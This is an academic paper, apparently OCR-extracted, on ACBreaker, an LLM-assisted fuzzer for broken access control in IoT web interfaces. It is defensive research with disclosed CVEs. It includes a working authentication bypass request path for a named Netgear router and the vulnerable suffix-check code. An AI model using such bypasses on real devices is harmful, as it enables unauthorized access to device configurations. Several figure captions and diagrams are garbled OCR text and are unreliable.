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Abstract: Broken access control vulnerabilities pose significant security risks to the pro-
tected web interfaces of IoT devices, enabling adversaries to gain unauthorized access to
sensitive configurations and even use them as stepping stones for attacking the intranet.
Despite its ranking as the first in the latest OWASP Top 10, there remains a lack of effective
methodologies to detect these vulnerabilities systematically. We present ACBreaker, a novel
methodology powered by a large language model (LLM), to effectively identify broken
access control vulnerabilities in the protected web interfaces of IoT devices. Our methodol-
ogy consists of three stages. The initial stage transforms firmware code that exceeds the
LLM context window into semantically intact code snippets. The second stage involves
using an LLM to extract device-specific information from firmware code. The final stage
integrates this information into the mutation-based fuzzer to improve fuzzing effectiveness
and employ differential analysis to identify vulnerabilities. We evaluated ACBreaker across
11 IoT devices, analyzing 1,274,646 lines of code and discovering 39 previously unknown
vulnerabilities. We further analyzed these vulnerabilities, categorizing them into three
types that contribute to protected interface evasion, and provided mitigation suggestions.
These vulnerabilities were responsibly disclosed to vendors, with CVE IDs assigned to
those in six IoT devices.

Keywords: protected web interfaces; broken access control; large language model;
mutation-based fuzzing; internet of things

1. Introduction

With the rapid development and widespread adoption of Internet of Things (IoT)
technology, IoT devices have become crucial to modern network infrastructure. The
global number of IoT devices is predicted to increase from 1.88 billion in 2024 to 4 billion
by 2030, showing a significant growth trend [1,2]. Among these devices, Embedded
Web Applications (EWAs) serve as critical components for IoT device management and
configuration. Leading IoT device manufacturers like Netgear, TP-Link, and ASUS have
integrated EWAs into their WiFi routers, NAS devices, and other products, providing
users with essential functionalities such as device configuration, status monitoring, and
firmware updates.
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However, the protected interfaces widely implemented in EWAs are susceptible to
broken access control vulnerabilities. This security flaw primarily arises because IoT
device developers do not strictly adhere to best security practices during development.
Consequently, many protected interfaces have flawed access control mechanisms. These
flaws allow attackers to access device configuration information and expose sensitive data.
Such vulnerabilities can also serve as a stepping stone for subsequent attacks on corporate
or home internal networks. Due to their widespread impact and potential for significant
harm, broken access control vulnerabilities was ranked first in the latest OWASP Top 10
Web Application Security Risks [3]. Additionally, they were featured in the 2024 CWE
Top 25 [4] under two critical categories, ranking 9th and 18th, respectively: CWE-862
(Missing Authorization) [5] and CWE-863 (Incorrect Authorization) [6]. This highlights
the increasing prevalence of broken access control vulnerabilities and the critical need to
address them.

Previous studies have insufficiently addressed the access control security in pro-
tected web interfaces of IoT devices. Hidden interface discovery research, represented by
IoTScope [7], primarily focuses on identifying open interfaces accessible without authentica-
tion, while tools like Firmalice [8] emphasize detecting hard-coded credentials in firmware.
However, these studies fail to systematically investigate protected interfaces that, despite
having access control mechanisms, possess implementation flaws. In terms of technical
approaches, existing research primarily relies on fuzzing [9-13] and taint analysis [14-16].
Fuzzing tools such as Boofuzz [17] are designed to target memory vulnerabilities and
struggle to generate effective payloads capable of evading access controls. Although taint
analysis is widely employed in vulnerability detection, it faces challenges in access control
scenarios, notably in accurately defining relevant taint sources and sinks. Consequently,
existing research lacks systematic studies on broken access control in protected interfaces
and faces dual technical challenges in code heterogeneity and fuzzing efficiency, resulting
in numerous potential vulnerabilities remaining undiscovered.

In this paper, we introduce ACBreaker, a novel methodology aimed at addressing this
gap. During the development of this framework, we encountered three key challenges:
(1) How can we ensure that the LLM receives semantically complete interface code for
analysis? Web-related code often exceeds the LLM’s context length. Splitting it based on
length would prevent the LLM from analyzing the complete implementation of the interface,
potentially resulting in missed vulnerabilities. (2) How can we extract device-specific
information from the code to constrain fuzzing boundaries? To effectively discover broken
access control vulnerabilities in protected interfaces, we need to extract information from
the firmware code. This information is used to construct both the collection of web interfaces
for fuzzing and the valid input values required by the mutation operator. However, IoT
firmware employs multi-language hybrid development, and interfaces and parameters
are often generated dynamically, making it challenging to address using existing static
analysis tools. (3) How can we generate mutation requests that trigger broken access control
vulnerabilities? As shown in Figure 1, mutation request generation requires performing
structured mutations on HTTP requests sent to the protected interface. Only well-structured
mutation requests can successfully trigger such vulnerabilities. Additionally, when multiple
interfaces share the same access control mechanismes, it is necessary to consider how we
can reuse a successful mutation chain to identify all affected interfaces quickly.

Our methodology consists of three stages, each addressing a specific challenge. (1) In
the firmware preprocessing stage, we designed a call-relationship-based code-slicing strat-
egy to transform firmware code exceeding the LLM context window into semantically
complete code snippets suitable for LLM analysis. (2) In the intelligent firmware analysis
stage, we constructed prompts based on a chain-of-thought and employed a two-round in-
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ference method to guide the large language model in extracting device-specific information
from the firmware code. This information includes paths, parameters, and other elements
that can provide valid values for subsequent fuzzing. (3) In the mutation-based fuzzing
stage, ACBreaker utilized device-specific information extracted from firmware to generate
baseline requests and applied 17 carefully designed mutation operations for structured
request mutation. ACBreaker adopts an “effective mutation prioritization” scheduling
strategy to fuzzing and utilizes multi-dimensional differential analysis to identify broken
access control vulnerabilities effectively.

POST /admin/user/settings.php HTTP/1.1 | ilelRath

Host: 192.168.1.1
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCI9

|
| File Identifier I File INFO
|

I File Ty
Content-Type: application/x-www-form-urlencoded | fle-Type J

Referer: http://t_plin}(wifi.net : HTTP Version
Accept: application/json
User-Agent: Mozilla/5.0

|
Cookie: session=abc123def456 : Request Method

| HTTP Headers
username=admin&password=admin123&action=update | r

: Request Parameters -

HTTP Request Categories

Figure 1. Structure of HTTP Request Components in IoT Web Interface Analysis with Highlighted
Feature Categories.

We implemented a prototype of ACBreaker and evaluated it against 11 IoT devices.
The firmware code of these devices contains script files (such as PHP, JavaScript, and Lua)
and decompiled binary programs (such as httpd and CGI), totaling 1,274,646 lines. Our
evaluation results demonstrate that ACBreaker can effectively detect broken access control
vulnerabilities in protected interfaces. ACBreaker discovered 39 previously unknown
vulnerabilities, which affect a total of 508 protected interfaces across the evaluated devices.
Through analysis, we categorized these vulnerabilities into three primary types of access
control evasion: HTTP path manipulation, parameter manipulation, and HTTP header
manipulation. We have responsibly reported all discovered vulnerabilities to the affected
device manufacturers, with some manufacturers, such as Netgear, TP-Link, D-Link, Redmi,
and Xiaomi, having confirmed these security issues and assigned CVE IDs.

In summary, this paper makes the following main contributions:

*  New Approach: We introduce ACBreaker, a novel LLM-powered methodology to auto-
matically discover broken access control vulnerabilities in protected interfaces of IoT
devices. This approach leverages the code comprehension capabilities of the LLM to
extract device-specific information from heterogeneous firmware, thereby constraining
the fuzzing space. Additionally, ACBreaker employs 17 carefully designed mutation
operators to perform structured request mutation and utilizes multi-dimensional
differential analysis to effectively identify broken access control vulnerabilities.

*  Real-World Impact: We evaluated our methodology on 11 IoT devices, analyzing
1274 646 lines of code, and uncovered 39 previously unknown broken access control
vulnerabilities. These vulnerabilities were responsibly reported to the affected ven-
dors, including Netgear, TP-Link, D-Link, Redmi, and Xiaomi, who confirmed the
vulnerabilities and assigned CVE IDs to the vulnerabilities found in six IoT devices.

*  New Findings and Mitigation: We identified three types of access control evasion in
protected IoT device web interfaces: (1) HTTP path manipulation, (2) parameter manip-
ulation, and (3) HTTP header manipulation. We also provide mitigation suggestions
for addressing each of these evasion techniques.
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2. Related Work

IoT Interface Security and Broken Access Control Vulnerabilities. Existing research
on IoT device interface security primarily focuses on discovering and analyzing hidden
open interfaces. For instance, Xie et al. [7] utilized lightweight static analysis techniques to
automatically detect hidden interfaces in IoT firmware, revealing numerous unauthenti-
cated sensitive interfaces that could lead to configuration and information leakage risks.
Subsequent works, such as APIScope [18] and LeakScope [19], respectively, addressed
undocumented APIs and data leakage issues. Still, these studies share a common charac-
teristic of focusing on open interfaces that can be accessed without authentication. Unlike
previous studies, our research focuses on interfaces that are intended to be protected by
access control mechanisms but contain security flaws. These flaws, arising from oversights
in policy configuration or code implementation, allow attackers to evade protections and
gain unauthorized access.

Previous research on access control vulnerabilities primarily revolves around the
security of authentication parameters. Shoshitaishvili et al. [8] introduce an authentication
bypass detection model based on input determinism and developed the Firmalice frame-
work based on symbolic execution technology, achieving automated detection of hardcoded
credentials. Huang et al. [20] improved analysis efficiency by introducing a concurrent
execution framework based on symbolic execution. Zhang et al. [21] proposed BACDetec-
tor and Zuo et al. [22] developed the Autoforge framework, which, respectively, detects
authentication flaws in device binding and server-side authentication processes through
man-in-the-middle attacks and requests forgery techniques. Additionally, access control
flaws in cloud services and cloud interactions [23-25] have also garnered some attention.
However, these studies generally focus on single-dimensional analysis of authentication
parameters, making it difficult to effectively detect broken access control vulnerabilities
in protected interfaces caused by complex factors such as HTTP path parsing and request
header validation.

Research by Orange Tsai [26] revealed that inconsistencies in parser behavior during
path normalization can lead to access control evasion risks and discover multiple path
traversal and remote code execution vulnerabilities in real-world applications. This work
provided important insights, prompting us to investigate access control mechanisms based
on HTTP paths and design-targeted mutation operators accordingly to assist fuzzing in
quickly identifying such security issues.

LLM-Assisted Vulnerability Discovering. Recent research demonstrates that LLMs
exhibit unique technical advantages in code analysis and vulnerability discovery. Ma et
al. [27] confirmed that LLMs possess capabilities similar to abstract syntax tree parsers,
enabling in-depth semantic analysis of code. This code comprehension capability has
strengthened the transition from random mutation to guided mutation in fuzzing. For
example, DFUZZ [28] leverages LLM to infer boundary cases from API code and transfer
them to the testing of other APIs, while Hu et al. [29] improved the input quality of
traditional gray-box fuzzing by introducing a GPT-based seed Mutator. Regarding test
case generation, research by Asmita et al. [30] demonstrated that LLMs can efficiently
generate target-specific initial seeds, significantly increasing the rate of program crash
discoveries. Zhang et al.’s [31] evaluation further showed that, given sufficient context, test
cases generated by LLMs outperform those produced by traditional tools. For instance,
CrawIMLLM [32] leverages a multimodal LLM-based agent to assist in test case generation
by interpreting webpage screenshots and content.

The advantage of LLMs in multi-language code analysis is particularly evident, as
LLMs can understand and analyze code written in multiple languages, such as C, PHP,
and Lua, without requiring separate feature extraction rules for each language [33-37].
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This capability enables LLMs to directly extract key information, such as HTTP request
parameters and interface paths, making them ideal for analyzing the heterogeneous code
found in IoT firmware. Fuzz4All [38] is an example of how LLMs leverage multi-language
understanding to overcome the limitations of traditional tools that are often restricted to a
single language.

Based on these strengths in code comprehension and multi-language support, we
designed the intelligent firmware analysis stage in ACBreaker. This stage effectively
addresses the challenges of heterogeneous code analysis in IoT firmware, enhancing the
efficiency of discovering broken access control vulnerabilities by constraining the fuzzing
space and extracting device-specific information from the firmware.

3. Background and Motivation
3.1. Web Interfaces in IoT Devices

Embedded Web Applications (EWAs), serving as critical components for IoT device
management, exhibit significant code heterogeneity. At the server level, device manufac-
turers typically employ lightweight web servers (such as mini_httpd, boa) or proprietary
implementations. On the application layer, backend logic may utilize script languages
like PHP or CGI programs written in C/C++, while the frontend is typically built using
HTML and JavaScript [39,40]. This combination of multiple programming languages and
technology stacks significantly increases the difficulty of conducting a systematic analysis
of EWAs.

In EWAs, web interfaces act as the interaction bridge between clients and device
functionalities [41], typically consisting of HTTP paths, HTTP versions, request methods,
parameters, and HTTP headers, as illustrated in Figure 1. These interfaces are central to
device management functionality, enabling users to perform device configuration, status
monitoring, and other operations. Web interfaces can be categorized into open and pro-
tected interfaces based on differences in access control mechanisms. Open interfaces (such
as login pages and static resources) allow direct access. In contrast, protected interfaces
(such as device configuration and system status queries) require valid access credentials,
specific parameters, or additional security mechanisms to ensure authorized access.

This study focuses on detecting broken access control vulnerabilities in protected
interfaces of EWAs. These protected interfaces often involve sensitive operations and access
to critical information. If the access control mechanisms are flawed, attackers may evade
authentication or authorization checks, gaining access to web interfaces that should be
protected. This can lead to information leakage or the unauthorized modification of device
configurations, among other security risks. Furthermore, such vulnerabilities can serve as
stepping stones for exploiting other vulnerabilities, such as command injection [42].

3.2. Broken Access Control Vulnerabilities

Access control is a core security mechanism for IoT device web interfaces [43,44], used
to determine whether users have permission to access specific resources. In EWA interfaces,
this mechanism typically implements authentication and authorization policies based on
the HTTP protocol. However, due to the heterogeneity of firmware code and the lack of
security awareness among developers, implementing access control mechanisms in IoT
devices often exhibits flaws, leading to broken access control vulnerabilities.

Broken access control vulnerabilities primarily manifest as defects in the permission
verification logic within the HTTP request processing pipeline. Attackers can evade the
protected interfaces by modifying different components of HTTP requests, such as changing
HTTP request methods (some interfaces only validate GET requests and neglect POST
request validation [45]) or constructing special URL paths (developers might configure
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certain interface names to evade verification, thereby enabling protected interface evasion,
as seen in the case in Section 4.1). These security flaws arise from developers’ failure to
comprehensively consider various access scenarios, resulting in oversights in implementing
access control mechanisms.

Recent security research has highlighted the severe security risks associated with
broken access control vulnerabilities in protected interfaces. For instance, in the CVE-2020-
5902 case [46], F5 BIG-IP’s device management interface exhibited a flaw in access control
validation, allowing attackers to evade the permission verification mechanism of protected
interfaces by constructing special HTTP paths. This enabled them to execute commands
or upload malicious files, ultimately gaining complete control of the device. However,
existing studies rely on manual analysis to identify vulnerabilities, leading to incomplete
detection and inefficiency. Currently, there remains a lack of an automated and efficient
method to detect broken access control vulnerabilities in protected interfaces in IoT devices,
which drives our research.

4. Overview
4.1. Threat Model

The access control mechanism for protected interfaces relies on the collabora-
tion between the access control and routing modules. Taking the protected interface
“/RST_status.htm” in the Netgear WNR614 device as an example, we analyze the imple-
mentation logic and security flaws of its access control mechanism. This interface, which
displays device status information (e.g., IP address, firmware version), was extracted from
the device’s “setup.cgi” binary component by ACBreaker.

In the normal access process (as shown in Figure 2), when users access this interface,
they are required to provide authentication credentials (e.g., Authorization: Basic
YWRtaW46cGFzc3dvemQ=). Once the access control module verifies the provided credentials
as valid, the routing module forwards the request to the target interface and returns the
device status information to the user. Conversely, when an unauthorized attacker attempts
to access this interface without valid credentials (as shown in Figure 3), the access control
module denies access, thereby protecting the interface.

Access Control Mechanism
Rule Action
GET /RST_status.htm
HTTP/1.1 Open Interface Allow
:Sfﬁorl‘?it‘iﬁséai‘c Protected Interface with Allow
. Auth
YWRtaW46cGFzc3dvemQ= u /RST_status.htm
Protected Interface Den
without Auth Y
O '° Dlspatch
o _— ° ° </ >:
User Access Control Module Route Module Interfaces

I

Figure 2. Authenticated access to the protected interface: The access control module validates provided

HTTP response containing device status information

credentials and permits routing to the target resource.

However, ACBreaker discovered a critical vulnerability that allows attackers to evade
this access control mechanism (as shown in Figure 4). To exploit this vulnerability, the
attacker only needs to append a specific character sequence to the URL path (such as
“/RST_status.htm)%0gx.xml”). This occurs because the access control module determines
an interface’s type solely by examining the suffix of its name. As a result, if an attacker
modifies a request so that its target interface appears to end with “.xml1”, the module
mistakenly classifies it as an open interface. Simultaneously, the routing module ignores
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content after “%0g” and forwards the requests to the protected interface “/RST_status.htm”.
As a result, attackers can access this interface and obtain device status information without
providing valid authentication credentials.

Access Control Mechanism

Rule Action
GET /RST_status.htm
HTTP/1.1 Open Interface Allow
Host: 192.168.1.1 Protected Interface with
Allow

Auth
Protected Interface

without Auth
P

Jasia
N ° ° </>
l_\ oo {C:)}
Attacker Access Control Module Route Module Interfaces

L

Figure 3. Unauthenticated access to the protected interface: The access control module blocks requests

Deny

401 Unauthorized

lacking credentials.

Access Control Mechanism
Rule Action
GET .
/RST_status.htm%0gx.xml Open Interface ??7? Allow The pareer BUG
HTTP/1.1 Protected Interface with
Host: 192.168.1.1 Auth Allow leads totzhe route
Protected Interface Den /RST_status.htm
without Auth Y

é?@ s ": Dispatch j/)
- &

Attacker Access Control Module Route Module Interfaces

I

Figure 4. Access control evasion for the protected interface: The mutation request exploits parsing

HTTP response containing device status information

divergence between access control and routing modules to reach protectedinterfaces.

Analyzing the device firmware code (see Figure 5), we identified that the root cause
of this vulnerability is a critical flaw in implementing the access control logic. The access
control module only identifies protected interfaces through suffix matching (e.g., “.xml”,

“.gif”, “ js”) or file identifier matching (e.g., “currentsetting.htm”). This string-based access

control strategy introduces security risks due to inconsistent URL parsing logic between
the access control and routing modules. Such implementation flaws allow attackers to gain
unauthorized access to critical configuration privileges (e.g., network settings and DNS
configurations). More importantly, since IoT devices are typically deployed at network
boundaries, these vulnerabilities may serve as entry points for attackers to penetrate
internal networks.

if ( strstr(v72, ".gif") || strstr(v72, ".css") ||
strstr(v72, ".js") || strstr(v72, ".xml") || strstr(v72,

"3pg") ) m === |

{ | Mutation |

LABEL_166: |
— |

dword_44CCCC = 0; | Vector

dword_44DDE4 = 0; #- File Type :

|

if ( strstr(dword_454B10, "currentsetting.htm";_)__L File Identifier
dword_44DDF0 = 1;

________.

Figure 5. Defective access control mechanism code snippet in Netgear’s WNR614 device, along with
its mutation vectors.
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4.2. Challenges in Discovering Broken Access Control Vulnerabilities

Given the serious security threat posed by broken access control vulnerabilities, we
aim to develop an effective methodology to identify them in protected interfaces. To achieve
this goal, we face three key challenges.

Challenge 1: How can we ensure that the LLM receives semantically complete interface
code for analysis?

Web-related code files (such as “httpd.decompiled.c” obtained from decompiling
“httpd”) typically contain the processing logic of multiple interfaces, and their file sizes
often exceed the LLM’s context length (128 K tokens). To enable the LLM to analyze
access control mechanism implementations within these interfaces, we need to extract
complete processing logic for each interface from these large files. However, this extraction
is not as simple as splitting code by length, as interface implementations often involve call
relationships between multiple functions. Simple segmentation would break these call
relationships, preventing the LLM from understanding the complete interface processing
flow and potentially missing access control vulnerabilities.

Challenge 2: How can we extract device-specific information to constrain fuzzing boundaries?

In detecting broken access control vulnerabilities in protected interfaces, a lack of
in-depth understanding of the code implementation can lead the fuzzer to blindly search
within a vast input space, making it difficult to discover vulnerabilities efficiently. To
accurately define fuzzing boundaries, we need to extract the interface and valid value
information from the code. However, this task faces significant challenges: the large volume
of firmware code makes comprehensive manual analysis impractical; IoT firmware employs
multi-language hybrid development (e.g., C, PHP, Lua); and interfaces and parameters are
often generated through dynamic string concatenation or complex code logic.

Challenge 3: How can we generate effective mutation requests to trigger broken access
control vulnerabilities?

The mutation requests that trigger broken access control vulnerabilities in protected
interfaces must adhere to the structural specifications of HTTP requests while also being
capable of evading the access control mechanism. Since multiple interfaces may reuse the
same access control mechanism, these mutation requests must be designed to facilitate the
reuse of successful mutation chains through fuzzing scheduling. However, existing tools
lack mutation strategies specifically tailored for access control evasion, making it difficult
to generate effective mutation requests that both comply with HTTP specifications and
successfully evade access control mechanisms.

4.3. Our Solution

In light of these challenges, we propose an automated methodology called ACBreaker
to discover broken access control vulnerabilities in protected interfaces. Figure 6 illustrates
an overview of ACBreaker. ACBreaker takes IoT device firmware as input and outputs
reports on discovered broken access control vulnerabilities. The workflow of ACBreaker is
as follows.
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Mutation-based Fuzzing Stage
Forwarding

Firmware Preprocessing Stage Intelligent Firmware Analysis Stage

/ o 2 round inference ‘
% &ns _o (—— N ruz
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\ e # Role Request Info: ,_._,
Firmware Web File Web cod. N HTTP Version _’{8}&
images Identifier eb codes  0=D) o # Task Step Method Mutator
T 0 B o v ;-,®\ ol &)
# Example = Parameter ! :“5_ } (°}
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# Code ™ GIbehils N i =9 Analyzer
> Path o A i |
@ <I) Identifier Eﬂ 0 | E i
# Output format Type A | 10000 i

Web Binary Decompiler
Prompt Builder Reasoner

I ———> Mutation Requests
Baseline Requests

Figure 6. ACBreaker workflow: From firmware preprocessing for LLM analysis, through intelligent
firmware analysis with two-round inference, to mutation-based fuzzing with differential analysis
for vulnerability detection (red arrows indicate mutation requests, while blue arrows represent

)-

Solution for Challenge 1: Firmware Preprocessing Stage

We designed a call-relationship-based firmware preprocessing method to transform
firmware code exceeding the LLM’s context length into semantically complete code snip-
pets. The workflow for this stage consists of the following: () Web File Identifier, which
processes the decompressed firmware files to identify web-related code, including script
files (PHP, HTML, JavaScript, Lua) and binary (httpd, CGI programs); @ Decompiler,
which converts binary files in web-related files into pseudo-C code, enabling the LLM
to understand program logic and control flow; and @) Code Slicer, which employs a call-
relationship-based strategy to handle code files exceeding 100K tokens. We observed that
web interface processing follows a fixed sequence of function calls, sequentially performing
interface registration, parameter parsing, and access control verification. Based on this ob-
servation, the code slicer analyzes function call relationships to integrate relevant code into
minimal units with complete semantics, thereby satisfying the LLM’s context limitations.

Solution for Challenge 2: Intelligent Firmware Analysis Stage

The intelligent firmware analysis stage leverages LLM’s code comprehension capabili-
ties to extract the file and HTTP information from firmware, thereby constraining fuzzing
boundaries to enhance fuzzing effectiveness. The workflow for this stage is as follows:
@) Prompt Builder constructs specialized prompts for file information and HTTP information
using four strategies: role definition, chain-of-thought, few-shot learning, and structured
output. ®) The LLM analyzes the code based on the constructed prompts, generating two
types of structured information: file information (including paths, file identifiers, and exten-
sions) for constructing interfaces and HTTP information (including protocol versions, request
methods, headers, and parameters) for guiding mutation. 6 Reasoner employs a two-round
inference strategy to ensure information extraction completeness. The first round focuses
on identifying key structural elements of the code and uses placeholders for complex dy-
namic items. The second round performs an in-depth analysis of the placeholders, restoring
parameter constraints and inferring specific instance values. Finally, the Reasoner outputs
structured analysis results for subsequent fuzzing.

Solution for Challenge 3: Mutation-based Fuzzing Stage

In this stage, we designed a mutation-based fuzzing framework to detect broken access
control vulnerabilities. The framework includes 17 mutation operators and employs “mu-
tation chain coordination” and “effective mutation prioritization” algorithms to enhance
testing depth and breadth. The workflow of this stage is as follows: (7) Prober conducts
web interface probing. It identifies valid interfaces (response code not 404) by sending
unauthenticated HTTP requests and records their baseline responses for subsequent dif-
ferential analysis. @ Mutator implements 17 mutation operators across four dimensions:
request line, headers, body, and encoding methods. It constructs mutation requests based
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on information extracted from firmware and dynamically adjusts priorities according to the
effective mutation prioritization strategy, ensuring efficient utilization of fuzzing resources.
O Difference Analyzer detects vulnerabilities by comparing baseline requests with mutated
requests. When an effective mutation operator is discovered, it generates vulnerability
reports and feeds the operator back to the Mutator. The Mutator then prioritizes using
proven effective mutation operators to fuzz all pending interfaces, thereby improving
vulnerability discovery efficiency.

5. ACBreaker
5.1. Intelligent Firmware Analysis

In the firmware preprocessing stage, we extracted 1,274,646 lines of web-related code
from 11 IoT device firmware images, including script files (PHP, JavaScript, Lua, etc.)
and decompiled binaries (HTTP servers, CGI programs, etc.). We then employed a code
slicer to transform these into semantically complete code snippets that comply with the
LLM’s context length limitations. In this stage, we developed an intelligent firmware
analysis technique based on the code-understanding and -reasoning capabilities of the
LLM, as illustrated in Figure 7. This technique employs a chain-of-thought method to
construct analysis prompts and utilizes a two-round LLM inference mechanism to extract
key information from heterogeneous code: In the first round, the LLM identifies the
structural elements for information extraction and marks portions requiring in-depth
analysis. In contrast, it infers the specific constraints and values of these marked items in
the second round. The final output includes file information of web interfaces and valid
input values, which guide subsequent fuzzing. The following figure details our approach.

2 round inference

R . l

: Role | — L —_—— -

N ] / \
______ 7 # Role: Json
—————— N\

<IoT Code Analyzer> {

|3 A — "apiEndpoint": ""

Analysis | # CoT: p p g 0

<4 Steps For Analysis> "httpRequest": {

( \
| |
| |
N | |
T T T T N ! |
| £ ! | : # Few Shot: | "protocol": [],
xamples . .
I P | |  <Examples> method": [],
o o | |
| |
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Figure 7. Prompt construction and inference process (using HTTP information as an example).

5.1.1. Information Extraction

As shown in Figure 1, we extract two categories of key information from the IoT
firmware code: file information and HTTP information. This categorization enables the
model to focus on extraction tasks in specific dimensions, providing valid input values for
subsequent fuzzing, thereby enhancing fuzzing effectiveness.

In the file information dimension, we extract three elements for constructing web in-
terfaces: file path (e.g., “/admin/user/”) specifies the interface access path, file identifier
(e.g., “settings”) determines the specific interface, and file type (e.g., “.php”) determines
the processing method. In the HTTP information dimension, we extract four elements
required for constructing requests: HTTP version and request method are used for con-
structing the request line; HTTP headers (such as Content-Type, Authorization, etc.) are
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used to control the behavior of request processing; and request parameters (such as “user-
name=admin&password=admin123”) contain specific values required for business operators.

5.1.2. Four Steps for Analysis

Extracting device-specific information from firmware is a complex analytical task. We
decompose it into four steps and employ chain-of-thought prompting to guide the LLM in a
step-by-step analysis, thereby enhancing accuracy. This method applies to the extraction of
both file information and HTTP information. This section provides a detailed explanation
of these four steps using HTTP information extraction as an example.

Step 1: Programming Language Identification. T firmware typically employs multi-
language hybrid development, including scripting languages such as PHP, JavaScript, Lua,
and compiled languages like C/C++. Each language has its specific patterns for handling
web interfaces, such as PHP using superglobal variables ($_GET, $_POST) for HTTP request
handling, while C/C++ relies on structures and function parameters. We first instruct the
LLM to accurately identify the language type of the code being analyzed, enabling it to
tailor its analysis strategy accordingly and improve extraction accuracy.

Step 2: HTTP Request Information Extraction. In this step, we instruct the LLM to
identify HTTP protocol information, primarily including (1) protocol version identifiers
(such as HTTP/1.0, HTTP/1.1), (2) HTTP request method declarations, and (3) HTTP
header information. To enhance analysis quality, we provide typical HTTP information
definition examples, such as headers = {‘Content-Type’’: ‘‘application/json’’}, to
help the model better recognize this information.

Step 3: Parameter Analysis. Parameter analysis comprises three key tasks: (1) Con-
ditional statement analysis; this involves extracting parameter value range constraints by
parsing control structures (such as if-else, switch-case) and generating values covering
different execution paths, for example, after extracting constraints from “if ($RolelD < 0)”,
thereby generating values -1 and 1 to cover different branches. (2) Default value extraction;
this comprises obtaining parameter initialization or default values based on variable defi-
nitions. (3) Constraint analysis; this consists of generating feasible values that satisfy all
explicit constraint conditions related to the parameters.

Step 4: Dynamic Value Generation. Dynamic value generation specifically handles
parameter values that require computation, primarily involving the generation of session
tokens, timestamps, and cryptographic hashes. The LLM infers values that meet constraints
by analyzing value generation algorithms (such as specific hash functions) and usage
scenarios (such as time format requirements). For instance, for MD5-based token generation
logic, the LLM can derive hash values in the correct format.

Finally, we require the LLM to combine the analysis results from the above four steps
to provide the final structured information. This multi-step chain-of-thought analysis
enables us to obtain accurate and complete file and HTTP information, providing effective
values for subsequent mutation-based fuzzing.

5.1.3. Prompt Builder

The design of prompts directly determines the quality of the answer output by the
LLM, so we carefully constructed a structured prompt template consisting of five core
components to enhance understanding, as shown in Figure 7.

Role Definition: We instruct the LLM as an “IoT firmware code analysis expert”. This
explicit role constraint enables the LLM to maintain a professional perspective and focus
on analyzing IoT device code.
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Analysis Steps: We begin by instructing the LLM to reason step by step using a
chain-of-thought approach [47]. Then, we briefly list and explain the four analytical steps
described in Section 5.1.2, accompanied by illustrative examples.

Examples: We employ a few-shot learning method, manually designing three real-
world examples: HTTP request analysis, parameter analysis, and dynamic value inference.
Each example includes input code and corresponding analysis results in JSON format,
guiding the LLM in understanding the analysis task and standardizing the output format
through specific examples.

Input Code: We use XML tags to encapsulate the code obtained from the firmware
preprocessing stage for the LLM to analyze.

Output Format: We instruct the LLM to output final results in a structured JSON
format to ensure result parsability.

We combine the above five components—role definition, analysis steps, few-shot ex-
amples, input code, and output format—into a single structured prompt. This complete
prompt is submitted as a whole to the LLM, rather than in separate parts, to ensure contextual
consistency. We regenerate the complete prompt for each new code analysis task by replacing
the “Input Code” component with the new code snippet while keeping the other components
unchanged. This ensures that every query provides the LLM with the full analytical context,
thereby enhancing extraction accuracy and consistency across multiple tasks.

5.1.4. Reasoner

We designed a Reasoner using a two-round inference strategy to overcome the limita-
tions of single-round LLM analysis, particularly when handling dynamically generated
values and complex conditional constraints.

In the first round, using a breadth-first strategy [48], the LLM systematically extracts
basic information from the firmware code, including interface paths and HTTP basic
parameters. When it encounters complex parameters that require in-depth analysis—such
as values derived from encryption functions or conditional logic—it marks them with
placeholders or natural language descriptions for further inference.

The second round of inference focuses on processing these marked items. The Reasoner
identifies the fields to be analyzed by parsing the JSON output from the first round and
performs targeted reasoning to infer valid input values. For example, when analyzing a
Lua script that dynamically constructs a parameter like md5_param = md5(seed ...), the
Reasoner recognizes the MD5-based generation logic and infers a valid hash-formatted
value to satisfy the request constraint. These in-depth analysis results provide valid input
values for subsequent fuzzing and are crucial for triggering access control evasion that
depends on correctly formatted dynamic inputs.

5.2. Mutation-Based Fuzzing

ACBreaker employs mutation-based fuzzing to detect broken access control vulnerabilities
in protected interfaces. This approach performs mutations on HTTP requests while preserving
their semantic integrity, aiming to evade access control mechanisms and obtain unauthorized
access. To achieve this, we designed a fuzzing framework that integrates mutation chain
coordination and effective mutation prioritization strategy, as shown in Algorithm 1.
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Algorithm 1 Mutation-based Fuzzing

Require:
1: FileINFO: {Path Information, File Identifier, File Type}
2: HTTPINFO: {Protocol Information, Request Methods, HTTP Headers, Request Parameters}

Ensure:
3: Vulnerability Report: {Interface of evasion, Mutation Chain, Mutation Request, Mutation Response}
4: function FUZZING(FileINFO, HTTPINFO)
5: inter faces < @ > Initialize interface set
6: mutations < @ > Initialize mutation set
7: vulnReport < @ > Initialize vulnerability report
8: priorityQueue < @ > Priority queue for mutation chains
9: for all path € FileINFO.paths do

10: for all identifier € FileINFO.identifiers do

11: for all filetype € FileINFO.types do

12: inter face <— COMBINEINTERFACE(path, identifier, filetype)

13: initial Req <— CONSTRUCTREQUEST (inter face)

14: initialResp <— SENDREQUEST(initial Req)

15: if initialResp.statusCode # 404 then

16: baselineReq < initialReq

17: baselineResp < initial Resp

18: inter faces.add({inter face, baselineReq, baselineResp})

19: if baselineResp.statusCode = 200 then

20: mutations.extend (EXTRACTMUTATIONINFO(inter face))

21: end if

22: end if

23: end for

24: end for

25: end for

26: mutations <— INITIALIZEMUTATORS(FileINFO, HTTPINFO)

27: pendingInter faces <— inter faces > Initialize pending interface set

28: for all inter face € interfaces do

29: chains <— GENERATEMUTATIONCHAINS(mutations)

30: chains <+ REMOVECONFLICTS(chains)

31: while —chains.empty() V —priorityQueue.empty() do

32: if priorityQueue.notEmpty() then

33: chain < priorityQueue.pop()

34: pendingInter faces < interfaces > Reset pending interfaces

35: while —~pendingInter faces.empty() do

36: targetInter face <— pendingInter faces.pop()

37: mutatedReq <— APPLYMUTATIONCHAIN(targetInter face.req, chain)

38: mutatedResp <— SENDREQUEST(mutatedReq)

39: result < DIFFERENCEANALYZER(targetInter face.resp, mutatedResp)

40: if result.isVulnerable then

41: vulnReport.add({targetInter face, chain, mutatedReq, mutatedResp})

42: end if

43: end while

44: else

45: chain < chains.pop()

46: mutatedReq <— APPLYMUTATIONCHAIN(inter face.req, chain)

47: mutatedResp <— SENDREQUEST(mutatedReq)

48: result <— DIFFERENCEANALYZER(inter face.resp, mutatedResp)

49: if result.isVulnerable then

50: vulnReport.add({inter face, chain, mutatedReq, mutatedResp})

